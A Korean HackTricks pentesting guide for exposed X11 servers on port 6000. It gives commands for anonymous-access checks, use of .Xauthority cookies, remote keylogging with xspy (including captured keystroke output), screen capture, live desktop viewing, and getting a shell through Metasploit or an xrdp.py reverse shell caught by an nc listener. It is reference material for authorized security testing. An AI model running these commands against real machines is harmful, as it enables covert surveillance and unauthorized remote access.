hacktricks/network-services-pentesting/6000-pentesting-x11.md

192 lines
8.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - X11 펜테스팅
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험 많은 해커 및 버그 바운티 헌터와 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용
**실시간 해킹 뉴스**\
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요
**최신 공지**\
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요
**[**디스코드**](https://discord.com/invite/N3FrSbmwdy)에 참여하여** 최고의 해커들과 협업을 시작하세요!
## 기본 정보
**X Window System** (X)은 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도잉 시스템입니다. 이는 **그래픽 사용자 인터페이스(GUI)**를 생성하기 위한 프레임워크를 제공하며 개별 프로그램이 사용자 인터페이스 디자인을 처리합니다. 이 유연성은 X 환경 내에서 다양하고 사용자 정의 가능한 경험을 가능하게 합니다.
**기본 포트:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## 열거
**익명 연결**을 확인합니다:
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### 로컬 열거
사용자 홈 폴더의 파일 **`.Xauthority`**은 **X11이 인증에 사용**합니다. [**여기**](https://stackoverflow.com/a/37367518)에서:
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: 128비트의 키("쿠키")를 생성하고 \~/.Xauthority(또는 XAUTHORITY 환경 변수가 가리키는 위치)에 저장합니다. 클라이언트는 이를 평문으로 서버에 보냅니다! 서버는 이 "쿠키"의 사본을 가지고 있는지 확인하고, 그렇다면 연결이 허용됩니다. 이 키는 DMX에 의해 생성됩니다.
{% hint style="warning" %}
**쿠키를 사용**하려면 환경 변수를 설정해야 합니다: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### 로컬 열거 세션
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
## 연결 확인
예를 들어, `localhost:0`에서 xfce4-session이 실행 중이었습니다.
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## 키로깅
[xspy](http://tools.kali.org/sniffingspoofing/xspy)를 사용하여 키보드 키 입력을 가로챕니다.
샘플 출력:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## 스크린샷 캡처하기
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## 원격 데스크톱 보기
출처: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
먼저 xwininfo를 사용하여 창의 ID를 찾아야 합니다.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
**실시간 보기**를 위해 사용해야 함
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## 쉘 획득
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
다른 방법:
**리버스 쉘:** Xrdp는 Netcat을 통해 리버스 쉘을 가져올 수도 있습니다. 다음 명령을 입력하십시오:
```bash
./xrdp.py \<IP:0> no-disp
```
인터페이스에서 **R-쉘 옵션**을 볼 수 있습니다.
그런 다음 로컬 시스템에서 포트 5555에서 **Netcat 수신기**를 시작하십시오.
```bash
nc -lvp 5555
```
그럼, **R-Shell** 옵션에 IP 주소와 포트를 입력하고 **R-shell**을 클릭하여 쉘을 획득하십시오
## 참고 자료
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
**해킹 통찰**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 파악하세요
**최신 공지**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 오늘부터 최고의 해커들과 협업을 시작하세요!
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로부터 영웅이 되기까지 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>